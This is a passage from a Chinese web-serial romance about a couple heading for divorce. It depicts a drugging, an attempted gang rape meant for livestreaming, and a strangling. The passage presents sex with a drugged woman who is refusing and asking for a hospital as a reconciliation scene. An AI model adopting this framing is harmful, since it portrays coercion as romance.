陆勋之瞳孔一缩,被这句话震惊到。 宁穗可不管他,转身去拉门把手,可手刚碰上金属手把,一个力道扯她胳膊,将她带进了温暖的怀抱。 宁穗愣住,随即拍打陆勋之的后背,“放开我!” 陆勋之却掐紧了她的腰。 宁穗听到他很轻的叹息,湿热的气息喷洒在她的耳际,她有些不自在,想从他的怀里脱离出来。 可男人用了巧劲儿压住她的后颈,将她压在怀里。 宁穗的脸贴在他的胸口,有力的心跳声搏动在耳边。 鼻尖萦绕着他身上的独特香气。 “抱一会儿。”陆勋之哑声开口。 他声音里透着很浓的疲惫,仔细听,还有一丝落寞。 宁穗怔住,她从来没有见过这样的陆勋之。 甚至两人像现在这样心平气和地抱着,都很久没有过了。 两人之间,好像除了在那件事上,会有亲密接触。 平常像恋人这样抱着的时候,很少很少。 宁穗突然想起以前上学的时候,她追陆勋之。 他很难追。 追了很久都是冷着脸。 直到有一次社团活动圆满结束之后聚会,她喝了一点点酒。 酒壮怂人胆,她抱了一次陆勋之。 对方没有推开她。 本以为两人要有进一步发展。 后来陆勋之消失了一段时间,回来就坐上了轮椅。 再后来,陆勋之腿好了之后,她再见到陆勋之,对方比之前还要冷。 总是这样忽冷忽热,宁穗都已经习惯了。 就是这种可怕的习惯,让她一步步走向毁灭。 宁穗眼圈不自觉地红了,吸了吸鼻子。 包厢门被推开,美术馆的同事回来拿东西,看到这一幕完全吓到,赶紧跑了。 “你猜我刚才看到什么?我看到陆总抱着宁穗。”那同事吓得东西都没拿就跑出去,赶紧跟另一个同事八卦。 “不会吧,陆总不是宋姜的男朋友吗?” “嗐,谁知道啊,贵圈太乱。” “但我倒是觉得,宁穗和陆总挺配的。至少比宋姜配。” 两个人一言一语八卦着离开。 躲在角落的宋姜银牙咬碎。 陆勋之还说给她出气,转脸就抱上了。 “宁穗太贱了,居然勾引勋之。”宋姜眼尾通红,眼底闪过一丝狠毒。 她一定要让宁穗付出代价。 宋姜掏出手机拨了一个号码出去,“你不是说要合作吗?你先帮我做件事,看看诚意。” …… 陆勋之是被一通电话叫走的,临走前,他跟宁穗说:“我说了,最多六个月,我会给你一个交代。” 宁穗在原地站了很久。 六个月。 她不会再去等一个不确定的结果。 宁穗走出包厢,刚才被宋姜泼了汤的实习生回来,“穗穗姐,你没事吧?” 刚才她也听到别的同事讲她和陆勋之抱在一起的事。 也不是她八卦,是有点担心。 毕竟宁穗长得漂亮,万一被资本做局,成了小三,那就难了。 宁穗扯唇笑笑,“没事。” “那你和陆总……” 宁穗坦然,“他是我前夫。” 实习生先是惊讶,随即脸色有些释然,“还好还好。” 她真担心宁穗被小三。 现在小三是宋姜,她反而松了一口气。 反正宋姜的气质,挺像那种抢人东西的坏人。 实习生怕宁穗心情不好,拉了她一起去一楼的酒吧。 这里是清吧,有驻唱在唱轻缓的民谣,很放松。 宁穗只点了果汁,实习生刚喝了一口冰酒就肚子疼,龇牙咧嘴,“穗穗姐,我去下洗手间。” “好。” 宁穗拿起果汁喝了几口,酸甜可口,很舒服,半杯下去,宁穗浑身开始不对劲。 第52章 嫂子出事了 实习生上完洗手间回来,看到座位上空荡荡的,宁穗人不见了,但是包还在,手机也丢在桌上。 她等了一会儿还不见人回来,心里有些慌,赶紧去问酒保,“刚才这桌的那个女士呢?” 酒保一脸茫然,“不知道。” 实习生又急又气,赶紧给桑甜打了电话,“甜姐,不好了,宁穗姐不见了。” …… 总统套间内,宋姜将药放进牛奶中晃了晃。 身后的浴室的门打开,她转身,看到陆勋之穿着浴袍出来,带子随意一系,胸前大片肌肉露出来。 看到宋姜,陆勋之先是一顿,随即眉心皱起,手下意识地将胸前的衣襟扯了扯。 “你怎么进来的?”陆勋之目光有几分不耐。 宋姜压下心里的不舒服,挤出笑容,“前台给的卡,他们知道我们是一起的。” 这句话说得暧昧,陆勋之收回视线,走到沙发边坐下,拿起烟,想到什么,又放下。 “回去吧,太晚了。医生不是让你早点休息。对胎儿好。” 宋姜看到他为了自己不抽烟,心里刚高兴没两秒,听他提到医生,脸色又垮下来。 她蹲在陆勋之膝前,讨好道,“勋之,别换掉白玲好不好?她是我最好的朋友,而且一直都是她在给我检查,她最了解我的情况。她的医术,你也是认可的呀。” 陆勋之垂着眸子,“她的医术没问题,但是人品不行。” 宋姜眼底闪过一丝怨毒,都怪宁穗。 没想到陆勋之到现在,心里还是向着宁穗的。 凭什么?一个下堂妇而已。 她看了一眼手表,这会儿宁穗应该已经被人玩上了吧。 心里冷哼一声,宋姜眨眨眼,眼圈红了红,“就再给她一次机会吧,勋之,就看在我的面子上。” 宋姜说着,不经意地提起杯子递到陆勋之跟前。 陆勋之扫了一眼杯子,随后接过来,喝了几口,才淡淡出声,“就这一次了。” 宋姜瞬间破涕为笑,“好,勋之,你放心,我会好好看着她的。保证不给你惹麻烦了。” 陆勋之眉心皱了皱,心里想的却是宁穗。 刚才她听到自己会给她一个交代的时候,反应甚至还不如上次。 至少上次她还是生气的。 这次可以说是冷漠,满不在乎。 对她来说,陆勋之说的话,已经都没有分量了。 这让陆勋之心里很不舒服。 他心里有股火,烦躁地喝掉了剩下的半杯牛奶。 见陆勋之把牛奶都喝了,宋姜嘴角勾了勾。 “你赶紧回去休息吧。”陆勋之起身,催着宋姜离开。 她也不知道这种药多久会起效,但陆勋之都赶她两次了。 再留下来,恐怕就要被怀疑,她只能起身,“好,那你也早点休息。” 她依依不舍地离开,见陆勋之根本没有任何异常。 房门关上,几分钟后再次被敲响,陆勋之拉开门,语气有些冷,“又怎么了?” 门口却不是宋姜,而是周南昭,对方脸色有些严肃,他很少这样。 陆勋之心里咯噔一声,下一秒听到周南昭说:“嫂子出事了。” …… 宁穗发觉身体有些不对劲的时候,起身去洗手间想找实习生。 但是人刚走到走廊,就被一个女服务生给拦住,“女士,你不舒服吗?我们有医务室,我带你去看看吧。” 宁穗浑身发热,身体却软得像没骨头,被人一拉,就被拉走了。 舌头像是被粘住,完全说不出囫囵的话。 可视觉和听觉还能用,她眼睁睁看着女服务生拖着她到了一个房间,扔到床上。 几分钟后,几个男人同时进来,其中一个人还架起了摄像机。 “没想到这么漂亮啊,那一会儿悠着点,别玩坏了。到时候还能卖个好价钱。” “还是大哥想得周到,一会儿咱们外网直播,万一有看上的,就直接卖了。” “哎呦,外网看直播的那可都是变.态,这小美女要是卖过去,可就废了。” “你管那么多,咱们拿钱办事。对方不是说了,就是要玩废她。” 不堪入耳的话,说得宁穗胆战心惊。 她勉强撑起身子,看着他们,“谁让……你们这么做?” 领头的大哥转头一看,宁穗居然还清醒着,恶劣的笑笑,抬手捏住她的下巴。 药物让她更加敏.感,下巴上传来剧烈的痛感。 “美人,反正你得罪人了,你就认命吧。一会儿哥哥们一定让你欲仙欲死,做个风流女鬼。哈哈哈!” 几个人也跟着笑起来。 猥琐的笑声,让宁穗的心堕入谷底。 她想要推开对方,但手上根本没有力气,反倒被他抓住脚腕,一下子拖过去。 其他人也开始宽解衣扣。 宁穗浑身的汗毛都竖起来,眼泪大颗大颗地往下掉,大脑意识也开始混乱,下意识地求救,“陆勋之……救我……” 带头大哥听到一个陆什么之,随即顿住,“呦,你们认识啊?” 宁穗怔住,茫然地看着他。 “就是你嘴里那个人让我们来的啊。小美人,那你就死个明白吧。你是不是给他戴绿帽啦?” 不然这么漂亮的女人,就这么浪费了? 宁穗浑身僵住。 陆勋之做的? 所以他所谓的交代,就是将她彻底除掉? 看到她眼底的震惊,大哥拿出手机,放了一段录音,“你听听是不是这个人?” 手机播放出声,陆勋之低沉的声音流出来,“多找几个人强了,外网同步直播,一定要给她露脸。记得录播,给我发一份。” 随即是带头大哥的声音,“您要这个干什么?” 陆勋之冷笑一声,“发给她的亲戚朋友看。” 录音戛然而止。 宁穗的心也随之碎成渣渣。 她的听觉已经开始模糊,虽然能听出是陆勋之的声音,但并没有发现,音频的细节有些生硬。 看到她心如死灰的样子,大哥啧啧两声,“行了,兄弟几个,开工了!” 几个男人发出兴奋的嗷嗷声,仿佛要展开一场血腥的杀戮。 嘶啦! 宁穗听到自己裙摆被扯碎的声响。 下一秒巨大的撞击声传来,随之而来的是男人们痛苦的哀嚎。 第53章 夫妻床头打架床尾和 拳拳到肉和骨骼撞击的可怖声音,在耳边响起。 有力的臂膀将宁穗拉到怀里,她奋力挣扎,却被抱得更紧,对方好像怕失去某个珍贵宝物一样。 一遍遍呢喃,“没事了,穗穗,我来了,没事了。乖。” 宁穗怔住,眼睛勉强聚焦,看清眼前的人,她脸色瞬间纸白。 啪! 一巴掌下去,但她的手软绵绵的,没什么力气,陆勋之纹丝不动,但眼底的愧疚更浓了几分。 “陆勋之,我要离婚,你不离,你却要这么糟蹋我。你还是个人吗?”宁穗眼底已经不是冷漠和失望,而是浓郁的恨。 “陆勋之,你滚,我不想看到你!” 宁穗去推他,但男人收紧手臂,将她紧紧搂在怀里。 一股燥热的火,在陆勋之的身体里乱窜。 刚才周南昭说宁穗出事之后,陆勋之就感觉到身体的不对劲。 但他没有多想,只当是自己因为宁穗失踪而急的。 刚才在触碰上宁穗的一瞬间,那股火瞬间燃烧得更旺。 陆勋之突然明白过来,自己的不对劲,应该是因为被人算计了。 他低头看宁穗,女人的唇艳得吓人,脸颊也不正常的红,身子软绵绵的。 宁穗抬手推他,可手在触碰到他浴袍下的肌肉时,身体不受控的,想要汲取更多。 她掀起眼皮看向陆勋之,眼尾通红,眼底潋滟的水光,让人沉醉。 身体已经不受控,但她嘴上还在拒绝,“陆勋之,你放开我。” 这声音都带着颤意,完全没有说服力,陆勋之的理智被彻底瓦解,他啄上宁穗的唇,“你现在是不是不舒服?我来帮你,好不好?” 宁穗紧紧闭上眼,声音带着哭腔,“不用你,送我去医院。都要离婚了!” 陆勋之一顿,随即叼住她的唇,“宁穗,我说过,你休想离开我!” …… 房间内,几个男人被打得不成人形。 坐在沙发上的周南昭慢条斯理地整理袖口,矜贵恣意,“说,谁指使的。” 带头大哥门牙掉了,说话漏风,哆哆嗦嗦,“不、不知道啊,我们都是网上联系,谁敢说自己真名。爷,要不您直接报官抓我吧。” 去坐牢,也比被虐打强啊。 房门被人推开,周南昭冷冷看过去,在看到来人时,倏地怔住。 桑甜一直在房间里等消息,但是周南昭迟迟不回去,她只能找过来。 刚打开门,一个身影突然冲过来,下一秒温热的大手盖住她的眼帘。 腰上一紧,男人将她带出了房间。 桑甜一把扯下他的手,焦急问,“宁穗呢?” 周南昭余光瞥了眼那边的房间,“陆勋之看着呢。” 刚才两人那个状况,他一看就知道怎么回事。 是送医还是自己解决,他可就不管了,陆勋之自己决定。 桑甜一头雾水,“宁穗现在这么恨陆勋之,怎么能让他们在一起呢!” 说着,她烦躁地推开周南昭,要去找人。 周南昭搂住她的腰将人带进怀里,压在墙边。 手护住她的后脑。 这个姿势太过暧昧。 两人已经很久没有这么亲密过。 桑甜先是一愣,随即有些不自然地撇开脸。 “人家是夫妻,怎么不能在一起?”周南昭好笑地说,“你别管。” 桑甜的气不打一处来,她皱紧眉头,“陆勋之和宋姜牵扯不清,还弄出个孩子来。这算什么夫妻,这连人都不配当。” 她冷哼一声,“你居然还理解他。” 周南昭一怔,这话说的,他能理解,那他也不是人呗? “啧,你骂他就骂他,干嘛还骂我。” 桑甜眼底嘲弄,“你们是好兄弟,一丘之貉。” “我跟他怎么一样,我又没弄大别人的肚子。”周南昭好笑,低头凑到她耳边,声音顽劣,“我跟你的时候,还是第一回呢。” 桑甜的脸颊倏地滚烫,气得语塞,“你、你真不要脸!” 周南昭两指捏住她的唇瓣,桑甜眼睛倏地睁圆,样子有点滑稽。 “这么漂亮的嘴唇,怎么说的都是我不爱听的。”周南昭突然低头啄她翘起来的唇珠。 这个动作又好笑,又暧昧。 周南昭突然笑了,“你怎么知道宁穗不会原谅陆勋之,没听过吗?” 他的唇沿着桑甜的脸颊,滑到耳际,用极轻的声音说:“夫妻床头打架床尾和。” 都是成年男女,自然知道这句话的意思,桑甜的瞳孔震动,随即耳朵尖跟着红了。 …… 宁穗这一晚上过得浑浑噩噩,到后边她在陆勋之一声声的“穗穗”中,昏了过去。 醒来的时候,她还有些懵,这个房间不是她的。 她想要翻身,精壮的手臂落在她的腰上,缓缓收紧。 后背贴上温热的胸膛,男人带着初醒沙哑的声音落在耳际,“再睡会。” 宁穗浑身一僵。 昨晚的记忆片段,扑啦啦地飞进脑子里。 虽然记忆不全,但发生了什么,她还是有印象的。 想到这,她脸颊滚烫,心口憋闷,猛地推开陆勋之的手,起身去穿衣服。 但是衣服都成碎条,完全不能用,她狠狠地瞪了陆勋之一眼。 男人懵懂地睁开眼,视线换了两秒才对焦,碎发垂在额头,没了往日的凌厉,多了几分乖顺。 他抓了一把头发,缓缓起身,“我让人送衣服来。” 宁穗没办法,只能又钻进被窝,将自己裹得严严实实。 陆勋之低头看她,只露出一个毛绒的小脑袋,腮帮气得鼓鼓的,像个小仓鼠,有点可爱。 他嘴角不自觉地勾了勾,情不自禁地低头,吻了一下她的发顶,“我去洗澡。” 宁穗愣住,怔怔看着男人不着片缕地走进浴室。 身高腿长,宽肩窄腰,肌肉线条自然有力量感。 她脸颊还是不受控的热了。 快速收回视线,宁穗拍拍自己的脸。 昨晚的事,她简单复盘。 那几个男人给她听的音频,的确像是陆勋之的声音。 但也是陆勋之从那些人手里救了自己。 如果陆勋之想对自己不利,何必搞这么大阵仗。 而且,之前她和王习的绯闻出现的时候,就已经影响陆氏的股价,股东们很不高兴。 陆勋之怎么可能再将她的不雅视频,发给亲戚朋友呢? 一切都不合理。 昨晚上她脑子不清楚,但现在她清醒了,自然看出其中的漏洞。 有人想算计她,不过那人肯定不是陆勋之。 第54章 嫂子可是为你受苦 陆勋之拉开浴室的门,他只用一条浴巾围住。 头发上的水珠滴到锁骨上,顺着完美的肌肉线条流下,最后没入浴巾边缘。 他抬眼看向床上,空荡荡的,只剩下满是褶皱的被子,他嘴角的弧度一僵。 随即查看了整个房间,宁穗走了。 看着沙发上只剩下叠放整齐的男士衣物,陆勋之脸色沉下来。 宁穗回到自己房间,换掉衣服,泡在浴缸,热气蒸腾上来。 她冰冷的身体才缓过来一些。 昨晚上的一幕幕涌上来,宁穗双手抱住自己,还有些后怕。 如果昨晚上不是陆勋之出现,后果会是什么? 她不敢往下想,死命抱住自己,眼泪顺着脸颊,滴落进水中,消失不见。 宁穗泡了半个小时才出来,刚换好衣服,就传来了敲门声。 她浑身一抖,现在对陌生的声音,她还是有些后怕。 敲门声持续,随即传来陆勋之的声音,“宁穗,是我。” 宁穗自己都没发现,确认是陆勋之后,她竟然悄悄松了一口气。 但她还是没有完全松懈,她将门上的保险栓拉上,才打开门。 陆勋之看到细细的门缝之后的链子,然后才是宁穗的脸,眉心皱了皱,“防着我?” 想到昨晚上,宁穗一开始一直在推开他,他就心里很不爽。 他们还是夫妻,做这种事,不是很正常吗? 宁穗冷淡地看着他,“我现在谁也不信。” 陆勋之脸色阴沉下来,“你什么意思?” “昨晚上那些人,说是你派过来的,还给我听了你们的通话录音。” 男人眼底一片茫然,“什么录音?” 宁穗仔细打量他,看样子不像是装的,他好像真的不知道。 但她还是不相信,她谁也不信。 “宁穗,你是觉得那些人是我派来欺负你的?”陆勋之下颌咬紧,眼底的怒气快要喷出来,“我在你眼里就是这种浑蛋?对自己的老婆下做这种下作的事?” 男人越说越激动,眼尾猩红,随即去推门,“你开门!” 链条被推得哗啦响,宁穗脸色发白,突然抱住自己的头蹲了下去。 看上去很害怕。 陆勋之一愣,手上的动作停住。 “穗穗,你没事吧?”桑甜快步跑过来。 她刚才收到宁穗的信息就过来了。 看到陆勋之这样,她赶紧挡住门,“陆总,宁穗昨晚上被吓到了,那些人要对她做什么,你应该也清楚,让她缓缓吧。” 桑甜的语气很不好,看上去客气,但明显是在责备。 她身后慢悠悠跟过来的周南昭,拍了拍陆勋之的肩膀,“走吧,去吃早饭。” 到这步,陆勋之也不好再说什么,他透过门缝看了一眼宁穗,唇角抿成直线,跟着周南昭离开。 唐桓迎上来,低声说:“那几个人的手机被人黑了,说是有录音,但是没找到。我在想办法找回。可能需要点时间。” 周南昭冷笑一声,“有备而来。勋哥,你被人盯上了。谁啊,好难猜啊。” 陆勋之冷淡地瞥他一眼,“我家那点事,陆治之没都告诉你?难猜个屁。” 三叔那边一直在暗流涌动,想要抓陆勋之的把柄。 不用想,能做到这么缜密,跟三叔脱不了干系。 “你知道就行了。”周南昭拍拍他的肩膀,“嫂子可是为你受苦,你对人家好点。” 陆勋之没搭理他,转而对唐桓说:“让人给太太送早餐过去。” 唐桓,“是。” 周南昭看热闹不嫌弃事大,“你对人好,就明着好。这么暗戳戳的,谁知道啊,人家不领情的。” 陆勋之冷哼一声,“我听陆治之说,桑甜在跟你闹离婚?还有闲工夫管我的事。” 周南昭,“……”陆治之这个大嘴巴。 “我跟你可不一样。”周南昭的嘴更硬,“甜甜从小在我身边长大,我们的感情深厚,打断骨头连着筋。宁穗可不是离不开你。” 陆勋之脚步顿了一下,随即大步离开,“她不会离开我。” 周南昭微挑眉梢,一把搂住唐桓的脖子,“你家老板火化之后,拨一拨骨灰,嘿,嘴还在。” 唐桓,“……” 桑甜等人都走了,才敲门,“宁穗,开门吧,是我,桑甜。” 她小声地说,生怕吓到宁穗。 宁穗蹲坐在地上,身子一抖,随即缓缓抬头看向桑甜,眼圈红了几分。 她缓慢起身,脚麻了,趔趄了一下,打开门,“甜甜,抱歉,这次的事……” 桑甜摇头,扶着她坐下,“你别有心理压力,这件事你是受害者,你放心,陆勋之和周南昭会去查,一定会给你个结果。” 宁穗麻木的笑笑,“陆勋之?他查出来又能怎样?这件事,无论是冲着我来,还是冲着他,最后他都会因为要保护各种,而牺牲我。” 公司的名誉,家族的名誉,宋姜的名誉。 她宁穗要排在所有的后边。 桑甜脸色有些不自然,她缓缓坐在宁穗身旁,“我其实也想跟周南昭离婚。” 宁穗一愣,怔怔看向桑甜,满脸不可置信。 桑甜却无所谓的笑笑,“可哪那么容易离呢?不过,我支持你,就算我离不成,我也希望你能成功。女人,要过自己想过的日子,如果这个男人没用,那就换一个。” 宁穗郁结的心情被桑甜的话冲开,“不想找男人,只想搞事业。” 桑甜笑了,握住她的手,“那就搞事业,这次全国巡展,我会帮你。宁穗,你的好日子,还在后头呢。” 是啊,等她换了骨髓,巡展就开始了,到时候,她能过上不同的人生吧。 宁穗没走,桑甜劝她留下来,放松一下,总比一个人待着胡思乱想好。 桑甜说这件事封锁了消息,没人知道,让宁穗放轻松。 白天大家自行在周边玩,晚上一起吃饭。 是在后院里烧烤。 宁穗找了角落坐下,她这会儿不想说话,干脆戴上了耳机听歌。 没一会儿,突然有人摘下她的耳机,凑到她耳边,“宁穗,昨晚上过得爽的吗?” 宁穗眼睛倏地睁大,僵硬回头,迎上宋姜的视线。 “你怎么还敢在这啊?真是脸都不要——唔!” 宁穗直接掐住她的脖子,将人摁倒在地。 第55章 怕这个孩子根本生不下 宋姜被按在地上摩擦,脸颊通红,已经开始翻白眼。 这边是在角落里,没人看到。 宋姜一双脚开始还扑腾,到后来动作越来越迟缓。 宁穗松开她。 宋姜大口大口地喘气,像是濒死的鱼一样,她捂着脖子,指着宁穗想骂。 下一秒脖子上一紧,宁穗又将她按在地上。 她面无表情,眼底是像死人一样的冷漠。 宋姜怕了,真的怕了。 她突然明白,刚才宁穗就是故意的,先松开她,让她以为自己能活。 现在才真的下了死手。 宁穗凑到她耳边,“是你找人糟蹋我?可惜啊,宋姜,我昨晚睡的是陆勋之!” 宋姜倏地睁圆了眼睛,不可置信地看着宁穗,恍惚看到她脖子上的印迹。 一看昨晚就很热烈。 宋姜眼底迸发出恨意,但喘气都难,根本没办法反抗。 一个服务员经过,吓了一跳,赶紧喊人,同时上前,抱开宁穗。 宋姜剧烈的咳嗽,说话的声音嘶哑难听,“救命!杀人了!” 宁穗就那么冷冰冰看着她,用眼神又将她凌迟了一遍。 宋姜甚至不敢于她对视,抓着服务员的胳膊往后躲。 太可怕了,真的太可怕了。 “怎么回事?”陆勋之赶到,宋姜像是找到了主心骨,抱住陆勋之的腿。 哭成泪人,“勋之,宁穗疯了。她、她要杀我。” 陆勋之看到宋姜脖子上的可怖掐痕,眉头紧皱,将人拉起来,让她坐在一旁,才看向宁穗。 “宁穗,到底怎么回事?” 他本以为宁穗会解释,如果她解释,他会给她机会。 昨晚上她刚受了刺激,有任何过激的行为,都有情可原。 可宁穗收回视线,只淡淡地说:“是,抓我吧。” 陆勋之一愣,她连解释都懒得解释吗? 是没话跟他说? “勋之,你听到了,她就是要杀我。勋之,我肚子好痛啊。啊,快,快给我叫医生。” 说着,她白色裙摆上染了红色。 陆勋之定定看了宁穗几秒钟,才抱起宋姜离开。 几秒钟后,唐桓过来,“太太,您也一起过去吧。” 宁穗冷冷勾起唇角,陆勋之怎么可能放过她。 刚才宋姜被她折腾得不轻。 宁穗从容起身,扯了扯压皱的衣角。 “唐桓,我能问你一个问题吗?” “太太请说。” “我记得上大学的时候,你就给陆勋之当助理了。” “是的,太太。” “那你说,我是不是自作自受,从一开始就不该招惹陆勋之?”宁穗看向唐桓,唇角勾起好看的弧度,可怎么看都有点苦。 像是自嘲,也像是在折磨自己。 唐桓结舌,宁穗对陆勋之有多好,他是看在眼里的。 这些年,陆勋之没给过宁穗几次笑脸。 可她每次见到陆勋之都是眼里有光的。 现在的宁穗,眼底都是灰色的,对什么都没有期盼了。 对陆勋之,更是没有。 他也不知道说什么,自家的老板是什么德行,他还不知道吗? 好半天才憋出一句,“太太,其实先生心里有您。” 宁穗似是听到什么笑话,低低笑出声,笑了足足两分钟。 她缓缓擦掉眼角的湿润,“唐桓,谎话说多了,你自己都信了吧。” 说完,她直接迈开步子离开。 唐桓心里郁闷,这都是什么事啊。 白玲赶到,给宋姜处理了伤口做检查。 她脸色有些差,“孩子暂时保住了,陆总,这是把宋姜和孩子往绝路上送啊,不能就这么算了。” 宋姜虚弱地拉扯白玲的袖子,“白玲,别说了,算了。勋之也为难。” “宋姜,你就算不顾自己也得顾孩子啊。再说,这是陆家的孩子,陆家必须要管你。” 白玲恨铁不成钢,“你就是太善良了。” 她说着倏地拉起宋姜的上衣,露出一小截腹部的皮肤。 陆勋之第一时间撇开了视线。 “陆总,宋姜为了怀这个孩子,付出多少啊,你看看她肚子上的针眼,这几十针保胎针打下去,她连哼都没哼一声,她是为了谁啊?” 白玲还在为宋姜说好话,陆勋之垂着眸子,微微皱眉,“好了,让她好好休息。” 丝毫没提要怎么处理宁穗的事。 宋姜和白玲皆是一愣,交换了下眼神,白玲微微点头正要说什么,房门被人推开。 门外的唐桓想拦但没拦住,抱歉地看向陆勋之。 宁穗则推门而入,信不走进来。 高跟鞋敲在地板上,发出哒哒声,宋姜竟缩了缩脖子。 刚才那种濒死的感觉再次涌上来,她害怕地干呕了几声。 “没死啊。”宁穗冷淡出口,“那叫我来干什么?” 这话说得恶毒,陆勋之皱了眉,语气很严厉,“宁穗,宋姜还怀着孩子,你下这么重的手做什么?” 都没问她为什么出手,就开始指责。 宁穗早就有了心理准备,伤疤被戳得麻木,早就不知道疼了。 她淡淡看向陆勋之,勾起冷笑,“要是孩子出事了,你直接拿我的命去抵好了。” 这话一出,房间里落针可闻。 “你在说什么气话!”陆勋之有些烦躁,“要你的命做什么。” 可宋姜的脸色瞬间白了,她吓得捂住肚子。 宁穗刚才的发疯的样子,她是真的会弄死自己的孩子。 “宋姜,你为什么发抖啊?”宁穗缓步上前,快要走到床边时,白玲上身挡住了她。 “宁穗,陆总在这呢,你别发疯!” 白玲说这话,也丝毫没有底气,她是见识过宁穗的脾气。 看上去柔弱,其实是块硬骨头。 宁穗轻蔑地扫了一眼白玲,“你是该好好护着你的主人,你的自由很值钱,一千五百万呢。” 这是在骂她是狗。 白玲的脸一阵红一阵白,“你!” 宁穗越过她看向宋姜,“宋姜,这是我最后一次警告你,下次你再惹我,你就没机会舒舒服服躺在这了。” 宋姜后背生出恶寒,宁穗的话化作一只无形的手,掐住了她的脖子。 让她喘不上起来。 看到她脸色发白,宁穗勾唇冷笑,转身离开。 “勋之,你都听到了,宁穗真的对我起了杀心。要不我跟她说实话吧,我害怕,怕这个孩子根本生不下来。” 她话音未落,陆勋之一记冷眼看过来,吓得宋姜赶紧闭嘴。 “你想说什么实话?”男人冷冷开口。 第56章 陆勋之:我不想离婚 宋姜被吓得缩了缩脖子,她怎么敢呢? 实话说出来,大家都要玩完。 她只不过赌一把,陆勋之不敢说出来。 让宁穗和陆勋之之间的误会更深。 男人没跟宋姜说什么,追着宁穗出门。 房门关上,白玲也虚脱地坐在床边,“宋姜,你太冒险了,这孩子得来不易,保胎又难,你怎么敢给陆勋之下.药?你不怕孩子掉了吗?” 宋姜脸色一沉,“他根本没跟我发生什么。” 想到宁穗说话时的表情,宋姜恨得牙痒痒,“白玲,你帮我做件事,我马上四个月了。我要给孩子做亲子鉴定。” …… 宁穗走到拐角就被人拉住手腕一扯,撞进温热的胸膛。 熟悉的冷香萦绕鼻尖。 以前她闻到这个香味,就会很开心。 那是陆勋之独有的味道。 但是现在,她只觉得胃里呕得慌。 随即就干呕了几声。 陆勋之愣住,“你不舒服?怎么不早说?” 宁穗踉跄地推开他,而后靠在墙边,“我是看到你们就恶心。” 是你们,不是你。 陆勋之和宋姜,早就绑定在一起了。 男人眉心紧皱,对她这种将自己划出去的说法,很不舒服。 “宁穗,非要这么说话吗?” 宁穗擦了一下嘴角,冷不丁笑起来,眼底都是恨意,“不然呢?陆勋之,你的女人不想让我活,那大家都别活了!包括你的孩子!” 怨毒的诅咒,让陆勋之脸色沉下来,他猛然上前,掐住她的后腰,吻了下去。 宁穗顿了顿,随即剧烈反抗,男人按住她的后脑,禁锢住她。 她气急,不留余力地咬了上去,甜腥味在两人之间弥散开来。 陆勋之推开,抬手轻轻擦拭她嘴角的红色,“宁穗,我不喜欢你这么说话。” 不喜欢她诅咒他的女人和孩子吗? 可她偏要说。 “陆勋之,我恨你,我巴不得你死!带着你的女人和孩子一起去死吧!” “宁穗!”男人眼尾猩红,牙齿咬得咯咯响,样子像是要吃人一样。 可宁穗直愣愣地迎上他的目光,眼底的情绪都是怨和恨。 他凭什么生气? 凭什么! 受尽欺凌的是她! 宁穗紧紧闭眼,再睁开时,眼底聚集起大颗的泪珠。 眼睫轻颤,泪珠坠落,落在陆勋之的衬衣上晕开。 “陆勋之,就念在这么多年,我对你一片真心的份上,离婚吧,算我求你了,行吗?我真的,真的扛不住了。” 她这副身体,已经千疮百孔,不能再折腾。 她还想熬到做手术,还想做全国巡展,还想跟母亲修好关系。 才二十五岁,她不想死。 更不想被宋姜这种人害死。 宁穗眼中的倔强,让陆勋之心底某个地方更痛了。 他额头抵住她的,“宁穗,下个月是你的生日。就下个月,我给你一个答案好不好?我会送宋姜离开,她不会再出现你面前。我不想离婚。” 宁穗提着的那口气,终究是散了。 她扯唇轻笑,眼底是无尽的失望。 “送她走,是为了我吗?是为了让宋姜安全生下孩子吧?” 陆勋之眉心微皱,“这两者不冲突。” 宁穗猛地推开他,“怎么会不冲突!陆勋之,你跟别的女人生出一个孩子,还要拖着我不肯离婚,你到底当我是什么!” 陆勋之眼底闪过一丝慌乱,“她的孩子对陆家很重要。” “那是你的孩子,当然对陆家很重要。”宁穗缓缓点头,“那你就守着她好了,放过我,好不好!” 陆勋之胸口起伏得厉害,他抬手捏了捏额角,强行压下混乱的情绪。 “宁穗,这个孩子,不是我的。听明白了吗?我再说一遍,不是我的!我从来没有碰过宋姜!我用我自己的性命发誓,孩子要是我的,就不得好死!” 宁穗愣住,眼睫颤抖得厉害,大颗的泪珠滑落。 陆勋之闭了闭眼睛,上前揩掉她的泪水,“宁穗,就一个月,行吗?等到你过生日的时候,我一定给你一个答案。” 陆勋之的语气明显透着妥协,甚至有一丝乞求。 虽然不抱希望,但听到这句话,宁穗的心还是动了一下。 她缓缓掀起眼皮看向陆勋之。 唇角抿成直线,什么都没说。 …… 展览很成功,宁穗给自己放了几天假。 她现在身体状况稳定了一些,她需要休息缓解,接下来就是为做手术做准备。 裴斯年给她打了电话,说捐献者已经签订了协议,让她这段日子过去检查一遍身体,等待手术排期。 所有的事情都在向着好的方向发展。 回来的第二天,唐桓就送来了一堆东西。 有一些是宁穗以前常用的,有一些是新买的。 有一台新电脑,宁穗拿出来看了看发票,时间大概是在那天宋姜弄坏她电脑之后。 “陆总让买的,给您送过几次,您都没要。”唐桓解释。 宁穗记得,之后有人以陆勋之的名义给她送东西,她没要。 “你都拿回去吧,这回我也不要。” 唐桓苦脸,“陆总出差都没带我,就交代我这一件事。要是办不成,我工作都要丢了。” 宁穗顿住,她当然知道,陆勋之不会因为这么点小事就开除唐桓。 但是打工人不易,她也不想连累无辜的人。 她轻叹一声,“别的我不要,电脑留下吧。” 毕竟她的电脑坏了,她确实不方便,自己买个像样的,也要花个万把块。 她手里现在有钱,但是也不想浪费。 也不知道手术之后的后续治疗会用多少钱。 唐桓高兴,“好,谢谢太太。这台电脑还是总裁亲自挑选的。” 宁穗扯唇笑笑,就那么一听。 选个几万块的电脑,这种小事,陆勋之怎么可能亲力亲为。 以前给宁穗的各种节日、生日礼物,都是唐桓给她选。 度假村之后,宁穗没有再见过宋姜。 偶然聊天的时候,桑甜似是无意间透露,宋姜去国外了。 宁穗刷到朋友圈,宋姜的确在国外,发了自己在生态公园里露营的照片。 还配文,【天然氧吧,养胎。谢谢你。】 照片的角落,宁穗看到一双男人的脚。 她嘴角扯出冷笑。 宋姜出国了,陆勋之也出差了,甚至没有带唐桓。 他去哪儿,不言而喻。 宁穗冷漠地关掉了朋友圈。 第57章 他没有跟宋姜出国 宁穗这一晚上睡得并不好。 梦里面都是陆勋之跟宋姜在一起的画面。 宋姜的肚子很大了,陆勋之摸着她的肚子,脸上都是幸福的笑容。 宁穗看着两人幸福,脸上却不由得流下泪水。 